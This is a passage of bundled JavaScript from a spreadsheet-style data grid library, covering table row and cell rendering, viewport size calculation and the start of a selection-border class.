renderRows(totalRows, rowsToRender, columnsToRender) { var TR; var visibleRowIndex = 0; var sourceRowIndex = this.rowFilter.renderedToSource(visibleRowIndex); var isWorkingOnClone = this.wtTable.isWorkingOnClone(); while (sourceRowIndex < totalRows && sourceRowIndex >= 0) { if (!performanceWarningAppeared && visibleRowIndex > 1000) { performanceWarningAppeared = true; (0, _console.warn)((0, _templateLiteralTag.toSingleLine)(_templateObject())); } if (rowsToRender !== void 0 && visibleRowIndex === rowsToRender) { // We have as much rows as needed for this clone break; } TR = this.getOrCreateTrForRow(visibleRowIndex, TR); // Render row headers this.renderRowHeaders(sourceRowIndex, TR); // Add and/or remove TDs to TR to match the desired number this.adjustColumns(TR, columnsToRender + this.rowHeaderCount); // Render cells this.renderCells(sourceRowIndex, TR, columnsToRender); if (!isWorkingOnClone || // Necessary to refresh oversized row heights after editing cell in overlays this.wot.isOverlayName(_base.default.CLONE_BOTTOM)) { // Reset the oversized row cache for this row this.resetOversizedRow(sourceRowIndex); } if (TR.firstChild) { // if I have 2 fixed columns with one-line content and the 3rd column has a multiline content, this is // the way to make sure that the overlay will has same row height var height = this.wot.wtTable.getRowHeight(sourceRowIndex); if (height) { // Decrease height. 1 pixel will be "replaced" by 1px border top height -= 1; TR.firstChild.style.height = "".concat(height, "px"); } else { TR.firstChild.style.height = ''; } } visibleRowIndex += 1; sourceRowIndex = this.rowFilter.renderedToSource(visibleRowIndex); } } /** * Reset the oversized row cache for the provided index * * @param {Number} sourceRow Row index */ }, { key: "resetOversizedRow", value: function resetOversizedRow(sourceRow) { if (this.wot.getSetting('externalRowCalculator')) { return; } if (this.wot.wtViewport.oversizedRows && this.wot.wtViewport.oversizedRows[sourceRow]) { this.wot.wtViewport.oversizedRows[sourceRow] = void 0; } } /** * Check if any of the rendered rows is higher than expected, and if so, cache them */ }, { key: "markOversizedRows", value: function markOversizedRows() { if (this.wot.getSetting('externalRowCalculator')) { return; } var rowCount = this.instance.wtTable.TBODY.childNodes.length; var expectedTableHeight = rowCount * this.instance.wtSettings.settings.defaultRowHeight; var actualTableHeight = (0, _element.innerHeight)(this.instance.wtTable.TBODY) - 1; var previousRowHeight; var rowInnerHeight; var sourceRowIndex; var currentTr; var rowHeader; if (expectedTableHeight === actualTableHeight && !this.instance.getSetting('fixedRowsBottom')) { // If the actual table height equals rowCount * default single row height, no row is oversized -> no need to iterate over them return; } while (rowCount) { rowCount -= 1; sourceRowIndex = this.instance.wtTable.rowFilter.renderedToSource(rowCount); previousRowHeight = this.instance.wtTable.getRowHeight(sourceRowIndex); currentTr = this.instance.wtTable.getTrForRow(sourceRowIndex); rowHeader = currentTr.querySelector('th'); if (rowHeader) { rowInnerHeight = (0, _element.innerHeight)(rowHeader); } else { rowInnerHeight = (0, _element.innerHeight)(currentTr) - 1; } if (!previousRowHeight && this.instance.wtSettings.settings.defaultRowHeight < rowInnerHeight || previousRowHeight < rowInnerHeight) { rowInnerHeight += 1; this.instance.wtViewport.oversizedRows[sourceRowIndex] = rowInnerHeight; } } } /** * Check if any of the rendered columns is higher than expected, and if so, cache them. */ }, { key: "markOversizedColumnHeaders", value: function markOversizedColumnHeaders() { var overlayName = this.wot.getOverlayName(); if (!this.columnHeaderCount || this.wot.wtViewport.hasOversizedColumnHeadersMarked[overlayName] || this.wtTable.isWorkingOnClone()) { return; } var columnCount = this.wtTable.getRenderedColumnsCount(); for (var i = 0; i < this.columnHeaderCount; i++) { for (var renderedColumnIndex = -1 * this.rowHeaderCount; renderedColumnIndex < columnCount; renderedColumnIndex++) { this.markIfOversizedColumnHeader(renderedColumnIndex); } } this.wot.wtViewport.hasOversizedColumnHeadersMarked[overlayName] = true; } /** * */ }, { key: "adjustColumnHeaderHeights", value: function adjustColumnHeaderHeights() { var columnHeaders = this.wot.getSetting('columnHeaders'); var children = this.wot.wtTable.THEAD.childNodes; var oversizedColumnHeaders = this.wot.wtViewport.oversizedColumnHeaders; for (var i = 0, len = columnHeaders.length; i < len; i++) { if (oversizedColumnHeaders[i]) { if (!children[i] || children[i].childNodes.length === 0) { return; } children[i].childNodes[0].style.height = "".concat(oversizedColumnHeaders[i], "px"); } } } /** * Check if column header for the specified column is higher than expected, and if so, cache it * * @param {Number} col Index of column */ }, { key: "markIfOversizedColumnHeader", value: function markIfOversizedColumnHeader(col) { var sourceColIndex = this.wot.wtTable.columnFilter.renderedToSource(col); var level = this.columnHeaderCount; var defaultRowHeight = this.wot.wtSettings.settings.defaultRowHeight; var previousColHeaderHeight; var currentHeader; var currentHeaderHeight; var columnHeaderHeightSetting = this.wot.getSetting('columnHeaderHeight') || []; while (level) { level -= 1; previousColHeaderHeight = this.wot.wtTable.getColumnHeaderHeight(level); currentHeader = this.wot.wtTable.getColumnHeader(sourceColIndex, level); if (!currentHeader) { /* eslint-disable no-continue */ continue; } currentHeaderHeight = (0, _element.innerHeight)(currentHeader); if (!previousColHeaderHeight && defaultRowHeight < currentHeaderHeight || previousColHeaderHeight < currentHeaderHeight) { this.wot.wtViewport.oversizedColumnHeaders[level] = currentHeaderHeight; } if (Array.isArray(columnHeaderHeightSetting)) { if (columnHeaderHeightSetting[level] !== null && columnHeaderHeightSetting[level] !== void 0) { this.wot.wtViewport.oversizedColumnHeaders[level] = columnHeaderHeightSetting[level]; } } else if (!isNaN(columnHeaderHeightSetting)) { this.wot.wtViewport.oversizedColumnHeaders[level] = columnHeaderHeightSetting; } if (this.wot.wtViewport.oversizedColumnHeaders[level] < (columnHeaderHeightSetting[level] || columnHeaderHeightSetting)) { this.wot.wtViewport.oversizedColumnHeaders[level] = columnHeaderHeightSetting[level] || columnHeaderHeightSetting; } } } /** * @param {Number} sourceRowIndex * @param {HTMLTableRowElement} TR * @param {Number} columnsToRender * @returns {HTMLTableCellElement} */ }, { key: "renderCells", value: function renderCells(sourceRowIndex, TR, columnsToRender) { var TD; var sourceColIndex; for (var visibleColIndex = 0; visibleColIndex < columnsToRender; visibleColIndex++) { sourceColIndex = this.columnFilter.renderedToSource(visibleColIndex); if (visibleColIndex === 0) { TD = TR.childNodes[this.columnFilter.sourceColumnToVisibleRowHeadedColumn(sourceColIndex)]; } else { TD = TD.nextSibling; // http://jsperf.com/nextsibling-vs-indexed-childnodes } // If the number of headers has been reduced, we need to replace excess TH with TD if (TD.nodeName === 'TH') { TD = replaceThWithTd(TD, TR); } if (!(0, _element.hasClass)(TD, 'hide')) { TD.className = ''; } TD.removeAttribute('style'); this.wot.wtSettings.settings.cellRenderer(sourceRowIndex, sourceColIndex, TD); } return TD; } /** * @param {Number} columnsToRender Number of columns to render. */ }, { key: "adjustColumnWidths", value: function adjustColumnWidths(columnsToRender) { var scrollbarCompensation = 0; var sourceInstance = this.wot.cloneSource ? this.wot.cloneSource : this.wot; var mainHolder = sourceInstance.wtTable.holder; var defaultColumnWidth = this.wot.getSetting('defaultColumnWidth'); var rowHeaderWidthSetting = this.wot.getSetting('rowHeaderWidth'); if (mainHolder.offsetHeight < mainHolder.scrollHeight) { scrollbarCompensation = (0, _element.getScrollbarWidth)(); } this.wot.wtViewport.columnsRenderCalculator.refreshStretching(this.wot.wtViewport.getViewportWidth() - scrollbarCompensation); rowHeaderWidthSetting = this.instance.getSetting('onModifyRowHeaderWidth', rowHeaderWidthSetting); if (rowHeaderWidthSetting !== null && rowHeaderWidthSetting !== void 0) { for (var i = 0; i < this.rowHeaderCount; i++) { var width = Array.isArray(rowHeaderWidthSetting) ? rowHeaderWidthSetting[i] : rowHeaderWidthSetting; width = width === null || width === void 0 ? defaultColumnWidth : width; this.COLGROUP.childNodes[i].style.width = "".concat(width, "px"); } } for (var renderedColIndex = 0; renderedColIndex < columnsToRender; renderedColIndex++) { var _width2 = this.wtTable.getStretchedColumnWidth(this.columnFilter.renderedToSource(renderedColIndex)); this.COLGROUP.childNodes[renderedColIndex + this.rowHeaderCount].style.width = "".concat(_width2, "px"); } } /** * @param {HTMLTableCellElement} TR */ }, { key: "appendToTbody", value: function appendToTbody(TR) { this.TBODY.appendChild(TR); this.wtTable.tbodyChildrenLength += 1; } /** * @param {Number} rowIndex * @param {HTMLTableRowElement} currentTr * @returns {HTMLTableCellElement} */ }, { key: "getOrCreateTrForRow", value: function getOrCreateTrForRow(rowIndex, currentTr) { var TR; if (rowIndex >= this.wtTable.tbodyChildrenLength) { TR = this.createRow(); this.appendToTbody(TR); } else if (rowIndex === 0) { TR = this.TBODY.firstChild; } else { // http://jsperf.com/nextsibling-vs-indexed-childnodes TR = currentTr.nextSibling; } if (TR.className) { TR.removeAttribute('class'); } return TR; } /** * @returns {HTMLTableCellElement} */ }, { key: "createRow", value: function createRow() { var TR = document.createElement('TR'); for (var visibleColIndex = 0; visibleColIndex < this.rowHeaderCount; visibleColIndex++) { TR.appendChild(document.createElement('TH')); } return TR; } /** * @param {Number} row * @param {Number} col * @param {HTMLTableCellElement} TH */ }, { key: "renderRowHeader", value: function renderRowHeader(row, col, TH) { TH.className = ''; TH.removeAttribute('style'); this.rowHeaders[col](row, TH, col); } /** * @param {Number} row * @param {HTMLTableCellElement} TR */ }, { key: "renderRowHeaders", value: function renderRowHeaders(row, TR) { for (var TH = TR.firstChild, visibleColIndex = 0; visibleColIndex < this.rowHeaderCount; visibleColIndex++) { // If the number of row headers increased we need to create TH or replace an existing TD node with TH if (!TH) { TH = document.createElement('TH'); TR.appendChild(TH); } else if (TH.nodeName === 'TD') { TH = replaceTdWithTh(TH, TR); } this.renderRowHeader(row, visibleColIndex, TH); // http://jsperf.com/nextsibling-vs-indexed-childnodes TH = TH.nextSibling; } } /** * Adjust the number of COL and TH elements to match the number of columns and headers that need to be rendered */ }, { key: "adjustAvailableNodes", value: function adjustAvailableNodes() { this.adjustColGroups(); this.adjustThead(); } /** * Renders the column headers */ }, { key: "renderColumnHeaders", value: function renderColumnHeaders() { if (!this.columnHeaderCount) { return; } var columnCount = this.wtTable.getRenderedColumnsCount(); for (var i = 0; i < this.columnHeaderCount; i++) { var TR = this.getTrForColumnHeaders(i); for (var renderedColumnIndex = -1 * this.rowHeaderCount; renderedColumnIndex < columnCount; renderedColumnIndex++) { var sourceCol = this.columnFilter.renderedToSource(renderedColumnIndex); this.renderColumnHeader(i, sourceCol, TR.childNodes[renderedColumnIndex + this.rowHeaderCount]); } } } /** * Adjusts the number of COL elements to match the number of columns that need to be rendered */ }, { key: "adjustColGroups", value: function adjustColGroups() { var columnCount = this.wtTable.getRenderedColumnsCount(); while (this.wtTable.colgroupChildrenLength < columnCount + this.rowHeaderCount) { this.COLGROUP.appendChild(document.createElement('COL')); this.wtTable.colgroupChildrenLength += 1; } while (this.wtTable.colgroupChildrenLength > columnCount + this.rowHeaderCount) { this.COLGROUP.removeChild(this.COLGROUP.lastChild); this.wtTable.colgroupChildrenLength -= 1; } if (this.rowHeaderCount) { (0, _element.addClass)(this.COLGROUP.childNodes[0], 'rowHeader'); } } /** * Adjusts the number of TH elements in THEAD to match the number of headers and columns that need to be rendered */ }, { key: "adjustThead", value: function adjustThead() { var columnCount = this.wtTable.getRenderedColumnsCount(); var TR = this.THEAD.firstChild; if (this.columnHeaders.length) { for (var i = 0, len = this.columnHeaders.length; i < len; i++) { TR = this.THEAD.childNodes[i]; if (!TR) { TR = document.createElement('TR'); this.THEAD.appendChild(TR); } this.theadChildrenLength = TR.childNodes.length; while (this.theadChildrenLength < columnCount + this.rowHeaderCount) { TR.appendChild(document.createElement('TH')); this.theadChildrenLength += 1; } while (this.theadChildrenLength > columnCount + this.rowHeaderCount) { TR.removeChild(TR.lastChild); this.theadChildrenLength -= 1; } } var theadChildrenLength = this.THEAD.childNodes.length; if (theadChildrenLength > this.columnHeaders.length) { for (var _i2 = this.columnHeaders.length; _i2 < theadChildrenLength; _i2++) { this.THEAD.removeChild(this.THEAD.lastChild); } } } else if (TR) { (0, _element.empty)(TR); } } /** * @param {Number} index * @returns {HTMLTableCellElement} */ }, { key: "getTrForColumnHeaders", value: function getTrForColumnHeaders(index) { return this.THEAD.childNodes[index]; } /** * @param {Number} row * @param {Number} col * @param {HTMLTableCellElement} TH * @returns {*} */ }, { key: "renderColumnHeader", value: function renderColumnHeader(row, col, TH) { TH.className = ''; TH.removeAttribute('style'); return this.columnHeaders[row](col, TH, row); } /** * Add and/or remove the TDs to match the desired number * * @param {HTMLTableCellElement} TR Table row in question * @param {Number} desiredCount The desired number of TDs in the TR */ }, { key: "adjustColumns", value: function adjustColumns(TR, desiredCount) { var count = TR.childNodes.length; while (count < desiredCount) { var TD = document.createElement('TD'); TR.appendChild(TD); count += 1; } while (count > desiredCount) { TR.removeChild(TR.lastChild); count -= 1; } } /** * @param {Number} columnsToRender */ }, { key: "removeRedundantColumns", value: function removeRedundantColumns(columnsToRender) { while (this.wtTable.tbodyChildrenLength > columnsToRender) { this.TBODY.removeChild(this.TBODY.lastChild); this.wtTable.tbodyChildrenLength -= 1; } } }]); return TableRenderer; }(); function replaceTdWithTh(TD, TR) { var TH = document.createElement('TH'); TR.insertBefore(TH, TD); TR.removeChild(TD); return TH; } function replaceThWithTd(TH, TR) { var TD = document.createElement('TD'); TR.insertBefore(TD, TH); TR.removeChild(TH); return TD; } var _default = TableRenderer; exports.default = _default; /***/ }), /* 292 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _object = __webpack_require__(2); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _viewportColumns = _interopRequireDefault(__webpack_require__(160)); var _viewportRows = _interopRequireDefault(__webpack_require__(161)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class Viewport */ var Viewport = /*#__PURE__*/ function () { /** * @param wotInstance */ function Viewport(wotInstance) { var _this = this; _classCallCheck(this, Viewport); this.wot = wotInstance; // legacy support this.instance = this.wot; this.oversizedRows = []; this.oversizedColumnHeaders = []; this.hasOversizedColumnHeadersMarked = {}; this.clientHeight = 0; this.containerWidth = NaN; this.rowHeaderWidth = NaN; this.rowsVisibleCalculator = null; this.columnsVisibleCalculator = null; this.eventManager = new _eventManager.default(this.wot); this.eventManager.addEventListener(window, 'resize', function () { _this.clientHeight = _this.getWorkspaceHeight(); }); } /** * @returns {number} */ _createClass(Viewport, [{ key: "getWorkspaceHeight", value: function getWorkspaceHeight() { var trimmingContainer = this.instance.wtOverlays.topOverlay.trimmingContainer; var elemHeight; var height = 0; if (trimmingContainer === window) { height = document.documentElement.clientHeight; } else { elemHeight = (0, _element.outerHeight)(trimmingContainer); // returns height without DIV scrollbar height = elemHeight > 0 && trimmingContainer.clientHeight > 0 ? trimmingContainer.clientHeight : Infinity; } return height; } }, { key: "getWorkspaceWidth", value: function getWorkspaceWidth() { var width; var totalColumns = this.wot.getSetting('totalColumns'); var trimmingContainer = this.instance.wtOverlays.leftOverlay.trimmingContainer; var overflow; var stretchSetting = this.wot.getSetting('stretchH'); var docOffsetWidth = document.documentElement.offsetWidth; var preventOverflow = this.wot.getSetting('preventOverflow'); if (preventOverflow) { return (0, _element.outerWidth)(this.instance.wtTable.wtRootElement); } if (this.wot.getSetting('freezeOverlays')) { width = Math.min(docOffsetWidth - this.getWorkspaceOffset().left, docOffsetWidth); } else { width = Math.min(this.getContainerFillWidth(), docOffsetWidth - this.getWorkspaceOffset().left, docOffsetWidth); } if (trimmingContainer === window && totalColumns > 0 && this.sumColumnWidths(0, totalColumns - 1) > width) { // in case sum of column widths is higher than available stylesheet width, let's assume using the whole window // otherwise continue below, which will allow stretching // this is used in `scroll_window.html` // TODO test me return document.documentElement.clientWidth; } if (trimmingContainer !== window) { overflow = (0, _element.getStyle)(this.instance.wtOverlays.leftOverlay.trimmingContainer, 'overflow'); if (overflow === 'scroll' || overflow === 'hidden' || overflow === 'auto') { // this is used in `scroll.html` // TODO test me return Math.max(width, trimmingContainer.clientWidth); } } if (stretchSetting === 'none' || !stretchSetting) { // if no stretching is used, return the maximum used workspace width return Math.max(width, (0, _element.outerWidth)(this.instance.wtTable.TABLE)); } // if stretching is used, return the actual container width, so the columns can fit inside it return width; } /** * Checks if viewport has vertical scroll * * @returns {Boolean} */ }, { key: "hasVerticalScroll", value: function hasVerticalScroll() { return this.getWorkspaceActualHeight() > this.getWorkspaceHeight(); } /** * Checks if viewport has horizontal scroll * * @returns {Boolean} */ }, { key: "hasHorizontalScroll", value: function hasHorizontalScroll() { return this.getWorkspaceActualWidth() > this.getWorkspaceWidth(); } /** * @param from * @param length * @returns {Number} */ }, { key: "sumColumnWidths", value: function sumColumnWidths(from, length) { var wtTable = this.wot.wtTable; var sum = 0; var column = from; while (column < length) { sum += wtTable.getColumnWidth(column); column += 1; } return sum; } /** * @returns {Number} */ }, { key: "getContainerFillWidth", value: function getContainerFillWidth() { if (this.containerWidth) { return this.containerWidth; } var mainContainer = this.instance.wtTable.holder; var dummyElement = document.createElement('div'); dummyElement.style.width = '100%'; dummyElement.style.height = '1px'; mainContainer.appendChild(dummyElement); var fillWidth = dummyElement.offsetWidth; this.containerWidth = fillWidth; mainContainer.removeChild(dummyElement); return fillWidth; } /** * @returns {Number} */ }, { key: "getWorkspaceOffset", value: function getWorkspaceOffset() { return (0, _element.offset)(this.wot.wtTable.TABLE); } /** * @returns {Number} */ }, { key: "getWorkspaceActualHeight", value: function getWorkspaceActualHeight() { return (0, _element.outerHeight)(this.wot.wtTable.TABLE); } /** * @returns {Number} */ }, { key: "getWorkspaceActualWidth", value: function getWorkspaceActualWidth() { return (0, _element.outerWidth)(this.wot.wtTable.TABLE) || (0, _element.outerWidth)(this.wot.wtTable.TBODY) || (0, _element.outerWidth)(this.wot.wtTable.THEAD); // IE8 reports 0 as offsetWidth; } /** * @returns {Number} */ }, { key: "getColumnHeaderHeight", value: function getColumnHeaderHeight() { if (isNaN(this.columnHeaderHeight)) { this.columnHeaderHeight = (0, _element.outerHeight)(this.wot.wtTable.THEAD); } return this.columnHeaderHeight; } /** * @returns {Number} */ }, { key: "getViewportHeight", value: function getViewportHeight() { var containerHeight = this.getWorkspaceHeight(); if (containerHeight === Infinity) { return containerHeight; } var columnHeaderHeight = this.getColumnHeaderHeight(); if (columnHeaderHeight > 0) { containerHeight -= columnHeaderHeight; } return containerHeight; } /** * @returns {Number} */ }, { key: "getRowHeaderWidth", value: function getRowHeaderWidth() { var rowHeadersHeightSetting = this.instance.getSetting('rowHeaderWidth'); var rowHeaders = this.instance.getSetting('rowHeaders'); if (rowHeadersHeightSetting) { this.rowHeaderWidth = 0; for (var i = 0, len = rowHeaders.length; i < len; i++) { this.rowHeaderWidth += rowHeadersHeightSetting[i] || rowHeadersHeightSetting; } } if (this.wot.cloneSource) { return this.wot.cloneSource.wtViewport.getRowHeaderWidth(); } if (isNaN(this.rowHeaderWidth)) { if (rowHeaders.length) { var TH = this.instance.wtTable.TABLE.querySelector('TH'); this.rowHeaderWidth = 0; for (var _i = 0, _len = rowHeaders.length; _i < _len; _i++) { if (TH) { this.rowHeaderWidth += (0, _element.outerWidth)(TH); TH = TH.nextSibling; } else { // yes this is a cheat but it worked like that before, just taking assumption from CSS instead of measuring. // TODO: proper fix this.rowHeaderWidth += 50; } } } else { this.rowHeaderWidth = 0; } } this.rowHeaderWidth = this.instance.getSetting('onModifyRowHeaderWidth', this.rowHeaderWidth) || this.rowHeaderWidth; return this.rowHeaderWidth; } /** * @returns {Number} */ }, { key: "getViewportWidth", value: function getViewportWidth() { var containerWidth = this.getWorkspaceWidth(); if (containerWidth === Infinity) { return containerWidth; } var rowHeaderWidth = this.getRowHeaderWidth(); if (rowHeaderWidth > 0) { return containerWidth - rowHeaderWidth; } return containerWidth; } /** * Creates: * - rowsRenderCalculator (before draw, to qualify rows for rendering) * - rowsVisibleCalculator (after draw, to measure which rows are actually visible) * * @returns {ViewportRowsCalculator} */ }, { key: "createRowsCalculator", value: function createRowsCalculator() { var _this2 = this; var visible = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; var height; var scrollbarHeight; var fixedRowsHeight; this.rowHeaderWidth = NaN; if (this.wot.wtSettings.settings.renderAllRows && !visible) { height = Infinity; } else { height = this.getViewportHeight(); } var pos = this.wot.wtOverlays.topOverlay.getScrollPosition() - this.wot.wtOverlays.topOverlay.getTableParentOffset(); if (pos < 0) { pos = 0; } var fixedRowsTop = this.wot.getSetting('fixedRowsTop'); var fixedRowsBottom = this.wot.getSetting('fixedRowsBottom'); var totalRows = this.wot.getSetting('totalRows'); if (fixedRowsTop) { fixedRowsHeight = this.wot.wtOverlays.topOverlay.sumCellSizes(0, fixedRowsTop); pos += fixedRowsHeight; height -= fixedRowsHeight; } if (fixedRowsBottom && this.wot.wtOverlays.bottomOverlay.clone) { fixedRowsHeight = this.wot.wtOverlays.bottomOverlay.sumCellSizes(totalRows - fixedRowsBottom, totalRows); height -= fixedRowsHeight; } if (this.wot.wtTable.holder.clientHeight === this.wot.wtTable.holder.offsetHeight) { scrollbarHeight = 0; } else { scrollbarHeight = (0, _element.getScrollbarWidth)(); } return new _viewportRows.default(height, pos, this.wot.getSetting('totalRows'), function (sourceRow) { return _this2.wot.wtTable.getRowHeight(sourceRow); }, visible ? null : this.wot.wtSettings.settings.viewportRowCalculatorOverride, visible, scrollbarHeight); } /** * Creates: * - columnsRenderCalculator (before draw, to qualify columns for rendering) * - columnsVisibleCalculator (after draw, to measure which columns are actually visible) * * @returns {ViewportRowsCalculator} */ }, { key: "createColumnsCalculator", value: function createColumnsCalculator() { var _this3 = this; var visible = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; var width = this.getViewportWidth(); var pos = this.wot.wtOverlays.leftOverlay.getScrollPosition() - this.wot.wtOverlays.leftOverlay.getTableParentOffset(); this.columnHeaderHeight = NaN; if (pos < 0) { pos = 0; } var fixedColumnsLeft = this.wot.getSetting('fixedColumnsLeft'); if (fixedColumnsLeft) { var fixedColumnsWidth = this.wot.wtOverlays.leftOverlay.sumCellSizes(0, fixedColumnsLeft); pos += fixedColumnsWidth; width -= fixedColumnsWidth; } if (this.wot.wtTable.holder.clientWidth !== this.wot.wtTable.holder.offsetWidth) { width -= (0, _element.getScrollbarWidth)(); } return new _viewportColumns.default(width, pos, this.wot.getSetting('totalColumns'), function (sourceCol) { return _this3.wot.wtTable.getColumnWidth(sourceCol); }, visible ? null : this.wot.wtSettings.settings.viewportColumnCalculatorOverride, visible, this.wot.getSetting('stretchH'), function (stretchedWidth, column) { return _this3.wot.getSetting('onBeforeStretchingColumnWidth', stretchedWidth, column); }); } /** * Creates rowsRenderCalculator and columnsRenderCalculator (before draw, to determine what rows and * cols should be rendered) * * @param fastDraw {Boolean} If `true`, will try to avoid full redraw and only update the border positions. * If `false` or `undefined`, will perform a full redraw * @returns fastDraw {Boolean} The fastDraw value, possibly modified */ }, { key: "createRenderCalculators", value: function createRenderCalculators() { var fastDraw = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; var runFastDraw = fastDraw; if (runFastDraw) { var proposedRowsVisibleCalculator = this.createRowsCalculator(true); var proposedColumnsVisibleCalculator = this.createColumnsCalculator(true); if (!(this.areAllProposedVisibleRowsAlreadyRendered(proposedRowsVisibleCalculator) && this.areAllProposedVisibleColumnsAlreadyRendered(proposedColumnsVisibleCalculator))) { runFastDraw = false; } } if (!runFastDraw) { this.rowsRenderCalculator = this.createRowsCalculator(); this.columnsRenderCalculator = this.createColumnsCalculator(); } // delete temporarily to make sure that renderers always use rowsRenderCalculator, not rowsVisibleCalculator this.rowsVisibleCalculator = null; this.columnsVisibleCalculator = null; return runFastDraw; } /** * Creates rowsVisibleCalculator and columnsVisibleCalculator (after draw, to determine what are * the actually visible rows and columns) */ }, { key: "createVisibleCalculators", value: function createVisibleCalculators() { this.rowsVisibleCalculator = this.createRowsCalculator(true); this.columnsVisibleCalculator = this.createColumnsCalculator(true); } /** * Returns information whether proposedRowsVisibleCalculator viewport * is contained inside rows rendered in previous draw (cached in rowsRenderCalculator) * * @param {Object} proposedRowsVisibleCalculator * @returns {Boolean} Returns `true` if all proposed visible rows are already rendered (meaning: redraw is not needed). * Returns `false` if at least one proposed visible row is not already rendered (meaning: redraw is needed) */ }, { key: "areAllProposedVisibleRowsAlreadyRendered", value: function areAllProposedVisibleRowsAlreadyRendered(proposedRowsVisibleCalculator) { if (this.rowsVisibleCalculator) { if (proposedRowsVisibleCalculator.startRow < this.rowsRenderCalculator.startRow || proposedRowsVisibleCalculator.startRow === this.rowsRenderCalculator.startRow && proposedRowsVisibleCalculator.startRow > 0) { return false; } else if (proposedRowsVisibleCalculator.endRow > this.rowsRenderCalculator.endRow || proposedRowsVisibleCalculator.endRow === this.rowsRenderCalculator.endRow && proposedRowsVisibleCalculator.endRow < this.wot.getSetting('totalRows') - 1) { return false; } return true; } return false; } /** * Returns information whether proposedColumnsVisibleCalculator viewport * is contained inside column rendered in previous draw (cached in columnsRenderCalculator) * * @param {Object} proposedColumnsVisibleCalculator * @returns {Boolean} Returns `true` if all proposed visible columns are already rendered (meaning: redraw is not needed). * Returns `false` if at least one proposed visible column is not already rendered (meaning: redraw is needed) */ }, { key: "areAllProposedVisibleColumnsAlreadyRendered", value: function areAllProposedVisibleColumnsAlreadyRendered(proposedColumnsVisibleCalculator) { if (this.columnsVisibleCalculator) { if (proposedColumnsVisibleCalculator.startColumn < this.columnsRenderCalculator.startColumn || proposedColumnsVisibleCalculator.startColumn === this.columnsRenderCalculator.startColumn && proposedColumnsVisibleCalculator.startColumn > 0) { return false; } else if (proposedColumnsVisibleCalculator.endColumn > this.columnsRenderCalculator.endColumn || proposedColumnsVisibleCalculator.endColumn === this.columnsRenderCalculator.endColumn && proposedColumnsVisibleCalculator.endColumn < this.wot.getSetting('totalColumns') - 1) { return false; } return true; } return false; } /** * Resets values in keys of the hasOversizedColumnHeadersMarked object after updateSettings. */ }, { key: "resetHasOversizedColumnHeadersMarked", value: function resetHasOversizedColumnHeadersMarked() { (0, _object.objectEach)(this.hasOversizedColumnHeadersMarked, function (value, key, object) { object[key] = void 0; }); } }]); return Viewport; }(); var _default = Viewport; exports.default = _default; /***/ }), /* 293 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _event = __webpack_require__(18); var _object = __webpack_require__(2); var _browser = __webpack_require__(42); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _coords = _interopRequireDefault(__webpack_require__(75)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * */ var Border = /*#__PURE__*/ function () { /** * @param {Walkontable} wotInstance * @param {Object} settings */ function Border(wotInstance, settings) { _classCallCheck(this, Border); if (!settings) { return; } this.eventManager = new _eventManager.default(wotInstance); this.instance = wotInstance; this.wot = wotInstance; this.settings = settings; this.mouseDown = false; this.main = null; this.top = null; this.left = null; this.bottom = null; this.right = null; this.topStyle = null; this.leftStyle = null; this.bottomStyle = null; this.rightStyle = null; this.cornerDefaultStyle = { width: '6px', height: '6px', borderWidth: '1px', borderStyle: 'solid', borderColor: '#FFF' }; this.corner = null; this.cornerStyle = null; this.createBorders(settings); this.registerListeners(); } /** * Register all necessary events */ _createClass(Border, [{ key: "registerListeners", value: function registerListeners() { var _this2 = this; this.eventManager.addEventListener(document.body, 'mousedown', function () { return _this2.onMouseDown(); }); this.eventManager.addEventListener(document.body, 'mouseup', function () { return _this2.onMouseUp(); }); var _loop = function _loop(c, len) { _this2.eventManager.addEventListener(_this2.main.childNodes[c], 'mouseenter', function (event) { return _this2.onMouseEnter(event, _this2.main.childNodes[c]); }); }; for (var c = 0, len = this.main.childNodes.length; c < len; c++) { _loop(c, len); } } /** * Mouse down listener * * @private */ }, { key: "onMouseDown", value: function onMouseDown() { this.mouseDown = true; } /** * Mouse up listener * * @private */ }, { key: "onMouseUp", value: function onMouseUp() { this.mouseDown = false; } /** * Mouse enter listener for fragment selection functionality. * * @private * @param {Event} event Dom event * @param {HTMLElement} parentElement Part of border element. */ }, { key: "onMouseEnter", value: function onMouseEnter(event, parentElement) { if (!this.mouseDown || !this.wot.getSetting('hideBorderOnMouseDownOver')) { return; } 